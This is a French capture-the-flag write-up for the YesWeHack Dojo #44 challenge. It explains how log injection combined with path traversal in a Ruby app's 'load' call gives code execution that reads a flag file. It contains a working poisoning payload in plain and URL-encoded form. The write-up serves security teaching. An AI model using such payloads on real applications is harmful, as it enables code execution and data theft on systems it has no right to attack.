Write-up#
Write-up pour le défi Dojo #44 - Surveillance du matériel créé par BrumensYWH.
La solution officielle publiée par YesWeHack se trouve ici.
Ci-dessous, vous trouverez ma solution qui a été retenue comme gagnante en termes de qualité.
Code#
Code du défi (Ruby) :
require 'erb'
require 'cgi'
require 'logger'
require 'pathname'
Dir.chdir('/tmp/app')
logger = Logger.new('logs/error.log')
logger.datetime_format = "%-m/%-d/%Y"
scriptFile = CGI.unescape("<user_input>")
scriptFile = Pathname.new(scriptFile)
# Load given backup script
if scriptFile != '' then
logger.info("Running bakup script #{scriptFile}")
begin
load "scripts/#{scriptFile.cleanpath}"
rescue Exception => e
logger.warn("The bakup script failed to run, error : #{e.message}")
end
end
# Render the given page for our web application
puts ERB.new(IO.read("views/index.html")).result_with_hash({logs: File.read("logs/error.log")})
Code pour reproduire l'environnement :
require 'fileutils'
require 'securerandom'
# Write flag script file with execute only
filenameflag = "flag_#{SecureRandom.hex(10)}.txt"
File.write("/tmp/#{filenameflag}", flag)
# Make web app folder structure and add files
FileUtils.mkdir_p '/tmp/app/views'
FileUtils.mkdir_p '/tmp/app/logs'
FileUtils.mkdir_p '/tmp/app/scripts'
Dir.chdir('/tmp/app')
File.write('scripts/bakup.rb', 'puts "PANIC PANIC PANIC AAAAH!!!"')
# Write the login page
File.write('views/index.html', '
<html lang="en">
<head>
<meta charset="UTF-8" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
[rogné car sans intérêt pour le défi]
donut();
graph();
vgraph();
</script>
</body>
</html>
')
Solution#
Analyse du code#
Premièrement, un journaliseur est instancié avec le module Logger. Celui-ci écrira le journal d'évènement sur le disque dans le fichier /tmp/app/logs/error.log
.
Dans le dojo, l'entrée utilisateur est encodé en URL par le "pare-feu applicatif", puis sera décodé dans l'application à l'aide de CGI.unescape, qui, pour faire simple, fait peu ou prou, l'opération inverse. On peut donc en conclure, que cela revient à passer l'entrée utilisateur non assainie à l'application. L'entrée utilisateur attendue est la valeur du script à appeler. La seule valeur légitime connue est bakup.rb
correspondant au script de sauvegarde qui se trouve dans /tmp/app/scripts/bakup.rb
.
Ensuite, le nom de fichier sous forme de chaîne de caractères est transformé en chemin d'accès avec Pathname.new. Aucune transformation ou effet de bord n'est attendu ici. Par le passé, il était possible d'injecter des commandes par exemple si la chaîne de caractères commençait par |
ou il était possible de tronquer un chemin avec un octet nul, mais ici on partira du principe que la version de Ruby est récente et non vulnérable.
La suite du code est exécuté si l'entrée utilisateur n'est pas vide, ce qui ne sera pas le cas pour exploiter la vulnérabilité.
La variable teintée scriptFile
est ensuite incluse une première fois dans le journaliseur à l'aide d'une interpolation de chaîne de caractère. L'utilisateur pourra donc partiellement contrôler le contenu du journal d'évènement. La variable n'est pas échappée, une grande liberté s'offrira donc pour l'injection de contenue.
Ensuite, l'application tente d'exécuter le script de sauvegarde à partir de la variable teintée. Deux éléments intéressants sont à noter. Premièrement, la méthode cleanpath est appelée sur la variable teintée. De prime abord, on pourrait penser qu'il s'agit d'un échappement qui pourrait nous limiter. En réalité, cleanpath
ne fait que supprimer les caractères .
et /
en doublon ou inutiles, pour normaliser le chemin Unix. En effet, les chemins ./toto.rb
et ./////////.////.//////toto.rb
sont équivalents sous Unix. Ici, cleanpath
n'a pas vocation à effectuer un filtre de sécurité, il ne supprimera pas les remontées de chemin du style ../../../
qui pourrait servir pour une traversée de chemin. L'entrée utilisateur est donc toujours maîtrisée par l'attaquant sans réel filtrage. L'autre point à noter est l'utilisation de load. Cette méthode attire l'attention, car, en dehors du fait d'être dangereuse, n'est quasiment jamais utilisée en Ruby. Elle a un rôle semblable à require
, qui, elle, est abondamment utilisée. L'utilisation de load
pose donc question et pousse l'auditeur à chercher la différence entre load
et require
. Pour faire simple, sans rentrer dans le détail de l'algorithme de résolution de chemin de chargement, l'une des différences principales est que require
suffixera le chemin avec .rb
automatiquement alors que load
non. Une application réelle aurait très certainement utilisée require
pour charger une bibliothèque et non pas load
ou alors utilisée popen3 ou system ou encore exec pour exécuter un script. Dans le cadre d'un défi de CTF, l'utilisation de load
a certainement été choisie pour être moins évidente que system
ou exec
mais préférée à require
afin de permettre d'exécuter le fichier de journalisation error.log
sans avoir à complexifier le défi avec une troncation de l'extension .rb
. Il devient dès lors assez évident, que le but sera ici d'écrire du code Ruby dans le fichier error.log
puis de le faire exécuter par load
. La vulnérabilité n'est donc pas cachée, mais bien visible : "l'application exécute du code contrôlé par l'utilisateur sans effectuer le moindre filtrage". Mais, le défi ne serait pas un défi s'il n'y avait pas une subtilité pour complexifier la chose et une astuce à identifier pour contourner le blocage.
Par la suite, si l'exécution au script lève une exception (ex : fichier inexistant) un 2ième appel au journaliseur sera effectué. Peu d'intérêt pour l'attaquant, puisque son but sera justement d'obtenir l'exécution d'un fichier avec un nom / chemin valide et existant.
La dernière étape est de rendre le modèle afin d'afficher le journal d'évènement. En lisant le code de mise en place de l'environnement, on sait que le drapeau se trouve dans le fichier /tmp/flag_xxxxxxxxxx.txt
généré avec un nom aléatoire. Le but sera donc de le lire, à l'aide d'une exécution de code. Inutile donc de passer en revue le modèle afin d'identifier si oui ou non une XSS est présente.
But#
En donnant un nom de fichier inexistant en entrée (ex : test.rb
) le fichier de journalisation suivant est retourné :
# Logfile created on 2025-09-02 21:10:01 +0000 by logger.rb/v1.6.4
I, [9/2/2025 #4331] INFO -- : Running bakup script test.rb
W, [9/2/2025 #4331] WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/test.rb
Notre objectif est donc d'écrire du code dans logs/error.log
et de faire exécuter ce fichier par load
afin de lire le drapeau. La complexité est, d'une part, que nous n'avons pas deux entrées utilisateur, une pour le nom du fichier exécuté et l'autre pour le contenu du fichier, mais belle et bien une seule entrée qui sera la même dans les deux cas. Il faut donc une entrée polymorphe qui soit à la fois du code Ruby valide et un nom de fichier valide et existant sur le système de fichier qui soit équivalent à logs/error.log
. D'autre part, le journaliseur écrit des messages et des métadonnées dans le fichier qu'il faudra neutraliser pour que l'entièreté du fichier forme du Ruby valide afin de ne pas lever une exception à l'exécution (ou tout du moins jusqu'à ce que le code permettant de lire le drapeau soit exécuté).
Neutralisation du format de journalisation#
Dans un premier temps, cherchons comment neutraliser le contenu du journal d'évènement pour former du code Ruby valide.
En ce qui concerne la première ligne d'évènement, pas de soucis, elle commence par #
et sera dont interprétée comme un commentaire.
Pour la 2áµ� et 3áµ� ligne, c'est un peu plus compliqué, notre contenu est injecté à la fin de la ligne (INJECTION_ICI
) mais beaucoup de contenu non controlé et invalide en Ruby est placé devant.
# Logfile created on 2025-09-02 21:10:01 +0000 by logger.rb/v1.6.4
I, [9/2/2025 #4331] INFO -- : Running bakup script INJECTION_ICI
W, [9/2/2025 #4331] WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/INJECTION_ICI
Toutefois, là aussi #
et sera dont interprétée comme un commentaire, le contenu réellement exécuté sera donc le suivant.
# ignoré
I, [9/2/2025 # ignoré INJECTION_ICI
W, [9/2/2025 # ignoré INJECTION_ICI
Á ce stade, le problème est que le contenu que nous pourrions injecté pour neutraliser le début de la ligne sera ignoré, car injecté dans le commentaire. L'idée est donc de commencer par injecter un retour à la ligne (\n
ou %20
) afin que le reste du contenu injecté débute sur une nouvelle ligne.
# ignoré
I, [9/2/2025 # ignoré \n
INJECTION_ICI
W, [9/2/2025 # ignoré \n
INJECTION_ICI
Maintenant, le problème est que le tableau [9/2/2025
n'est pas fermé. Et bien fermons le en injectant ]
après le \n
(\n]
).
# ignoré
I, [9/2/2025 # ignoré \n
]
W, [9/2/2025 # ignoré \n
]
Cela fonctionne, car comme dans beaucoup d'autres langages, en Ruby, les chaînes de caractères, les tableaux, et beaucoup d'autres structures peuvent être découpées sur plusieurs lignes. Exemple :
[
1,
2,
3
]
# équivant à
[ 1, 2, 3 ]
Si l'on simplifie, le code exécuté sera alors le suivant.
I, [9/2/2025]
W, [9/2/2025]
Pour [9/2/2025]
, la valeur est interprétée comme deux divisions, il suffit de le coller dans un interpréteur pour s'en persuader.
irb> [9/2/2025]
\> [0]
Le code est donc équivalent à ce qui suit.
I, [0]
W, [0]
Le problème semble plus simple dorénavant. Nonobstant, en collant I, [0]
ou W, [0]
dans irb
, on se rend compte que ce n'est toujours pas du code valide.
<internal:kernel>:168:in 'Kernel#loop': (irb):2: syntax errors found (SyntaxError)
> 2 | I, [0]
| ^~~~~~ unexpected write target
| ^~~ unexpected write target
from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'
from /usr/bin/irb:25:in 'Kernel#load'
from /usr/bin/irb:25:in '<main>'
En effet, plusieurs problèmes se posent ici. I
et W
sont des constantes qui n'ont pas été déclarées au préalable, et ne peuvent donc pas être utilisées. De plus, les deux éléments (I
ou W
d'une part et [0]
d'autre part) sont séparés par une virgule (,
), il est donc attendu qu'une déclaration soit complétée. Par exemple, pour séparer des éléments d'un tableau ou effectuer une affectation.
# Pas valide
irb> 1, 2
<internal:kernel>:168:in 'Kernel#loop': (irb):3: syntax errors found (SyntaxError)
> 3 | 1,2
| ^ unexpected ',', ignoring it
| ^ unexpected ',', expecting end-of-input
from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'
from /usr/bin/irb:25:in 'Kernel#load'
from /usr/bin/irb:25:in '<main>'
# Valide
irb> [1, 2]
\> [1, 2]
irb> a, b = 1, 2
\> [1, 2]
Il ne sera pas possible de former un tableau avec I, [0]
(en [I, [0]]
) car nous ne pouvons pas écrire avant le I
. Il nous reste donc plus que le choix de l'affectation, qui a au passe le bon goût de résoudre le problème des constantes non déclarées au passage. On va donc essayer de former quelque chose de la forme I, [0] = x, y
, car Ruby autorise l'affectation multiple.
a, b = 1, 2
# écquiavalent à
a = 1
b = 2
Nous serons vite déçus par une tentative d'affectation naïve.
irb> I, [0] = 1, 2
<internal:kernel>:168:in 'Kernel#loop': (irb):6: syntax error found (SyntaxError)
> 6 | I, [0] = 1, 2
| ^~~ unexpected write target
from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'
from /usr/bin/irb:25:in 'Kernel#load'
from /usr/bin/irb:25:in '<main>'
La 1ʳ� partie (I = 1
) ne pose pas problème mais [0] = 2
oui.
irb> I = 1
\> 1
irb> [0] = 2
<internal:kernel>:168:in 'Kernel#loop': (irb):8: syntax errors found (SyntaxError)
> 8 | [0] = 2
| ^ unexpected '='; target cannot be written
| ^ unexpected integer, expecting end-of-input
from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'
from /usr/bin/irb:25:in 'Kernel#load'
from /usr/bin/irb:25:in '<main>'
Si l'on réfléchit un peu, c'est logique. On peut affecter une valeur à une variable (a = 1
) ou a un index d'un tableau mais pas à un tableau directement.
[] = 1
# est équivalent à
Array.new = 1
# la preuve
Array.new == []
\> true
Quand on fait [] = 1
, il faut donc comprendre l'on écrit Array.new = 1
mais que la méthode .new=
n'est pas défini pour les tableaux (la classe Array
).
irb> [] = 1
<internal:kernel>:168:in 'Kernel#loop': (irb):9: syntax errors found (SyntaxError)
> 9 | [] = 1
| ^ unexpected '='; target cannot be written
| ^ unexpected integer, expecting end-of-input
from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'
from /usr/bin/irb:25:in 'Kernel#load'
from /usr/bin/irb:25:in '<main>'
irb> Array.new = 1
(irb):10:in '<main>': undefined method 'new=' for class Array (NoMethodError)
from <internal:kernel>:168:in 'Kernel#loop'
from /usr/lib/ruby/gems/3.4.0/gems/irb-1.14.3/exe/irb:9:in '<top (required)>'
from /usr/bin/irb:25:in 'Kernel#load'
from /usr/bin/irb:25:in '<main>'
Et si l'on pense à rajouter une valeur à un tableau, ce n'est pas la syntaxe (avec =
), il faut écrire l'une des solutions suivantes.
irb> [] << 1
\> [1]
irb> [].append(1)
\> [1]
irb> a = []
\> []
irb> a += [1]
\> [1]
Par contre, on peut affecter une valeur à un index d'un tableau sans soucis.
irb> a = []
\> []
irb> a[0] = 1
\> 1
irb> a[999] = 5
\> 5
Dans le défi, notre tableau n'est pas lié à une variable (ex : a
) mais est directement écrit sous la forme []
, qui plus est, il contient une valeur (0
) : [0]
. Si l'on veut affecter une valeur à un index de ce tableau, il faut donc écrire [0][index]
, par exemple [0][0]
. Ce qui a troublé beaucoup de personnes, c'est que [0]
est davantage perçu comme un accès à un index que comme un tableau contenant à
comme première valeur. Revenons un peu à notre code.
# Il ne faudra donc pas écrire (invalide)
I, [0] = 1, 2
# mais (valide)
I, [0][0] = 1, 2
On en est donc rendu à injecter \n][0] = 1, 2
, ce qui forme enfin du code Ruby valide !
# Logfile created on 2025-09-06 22:50:56 +0000 by logger.rb/v1.6.4
I, [9/6/2025 #4766] INFO -- : Running bakup script
][0]=1,1
W, [9/6/2025 #4766] WARN -- : The bakup script failed to run, error : cannot load such file -- scripts/
][0]=1,1
Vous pouvez écrire cela dans un fichier .rb
et l'exécuter ou le coller dans un interpréteur et vous n'aurez aucune erreur. À vrai dire, vous n'aurez pas de drapeau non plus. Il va donc falloir écrire le code pour récupérer le drapeau maintenant.
Lecture du drapeau#
Pour rappel, le drapeau est écrit dans un fichier qui porte un nom aléatoire, il n'est donc pas possible de le lire directement comme on ne connait pas le nom du fichier à l'avance.
filenameflag = "flag_#{SecureRandom.hex(10)}.txt"
File.write("/tmp/#{filenameflag}", flag)
Il suffit donc de liste tous les fichiers de la forme flag_*.txt
dans /tmp/
et de les afficher.
Dir["/tmp/flag_*.txt"].each {|f| puts File.read(f)}
Neutralisation du nom de fichier#
Mais ce n'est pas terminé. Il ne suffit pas d'écrire du code valide, il nous reste à faire exécuter error.log
. De manière assez évidente, comme l'appel à load
est préfixé par scripts/
, il sera nécessaire de faire une remontée de chemin lire le fichier : ../../../../../../../../../../../../../../../../tmp/app/logs/error.log
.
Pour rappel, l'entrée correspond à la fois au nom du fichier à exécuter et à son contenu. Pour ne pas casser le code, c'est assez simple, il suffit de rajouter un commentaire. Pour le nom du fichier, essayer d'écrire le vrai chemin puis le code (../tmp/app/logs/error.log <code>
) s'avère compliqué voir impossible. Par contre, le code suivi du vrai chemin est plutôt aisé (<code> ../tmp/app/logs/error.log
). Tout le code sera perçu comme un fichier inexistant depuis le répertoire courant, et la remontée de chemin permet de repartir de la racine du système de fichier pour retourner au véritable journal d'évènement empisoné.
Charge utile finale#
La charge utile complète, ressemble donc à ceci :
\n
][1337] = "noraj","rawsec"
Dir["/tmp/flag_*.txt"].each {|f| puts File.read(f)}
# ../../../../../../../../../../../../../../../../tmp/app/logs/error.log
Note : ne pas oublier de remplacer \n
par un véritable saut de ligne.
La version encodée en URL :
%0A%5D%5B1337%5D%20%3D%20%22noraj%22%2C%22rawsec%22%0ADir%5B%22%2Ftmp%2Fflag_*.txt%22%5D.each%20%7B%7Cf%7C%20puts%20File.read(f)%7D%0A%23%20..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fapp%2Flogs%2Ferror.log
Le journal d'évènement ci-dessous est donc un chemin de fichier valide équivalent à /tmp/app/logs/error.log
et du code Ruby valide permetant de lire le drapeau.
# Logfile created on 2025-09-06 23:37:31 +0000 by logger.rb/v1.6.4
I, [9/6/2025 #4823] INFO -- : Running bakup script
][1337] = "noraj","rawsec"
Dir["/tmp/flag_*.txt"].each {|f| puts File.read(f)}
# ../../../../../../../../../../../../../../../../tmp/app/logs/error.log
Une version plus concise en (presque) une ligne de la solution se trouve ci-dessous.
\n
][0]=1,1;Dir["/tmp/*.txt"].each{|f| puts File.read(f)}# ../../../../../../../../../../../../../../../../tmp/app/logs/error.log
%0A%5D%5B0%5D%3D1%2C1%3BDir%5B%22%2Ftmp%2F*.txt%22%5D.each%7B%7Cf%7C%20puts%20File.read(f)%7D%23%20..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fapp%2Flogs%2Ferror.log
Le drapeau avait donc pour valeur : FLAG{D0nt_Und3res7imate_a_L0g_1njection}
.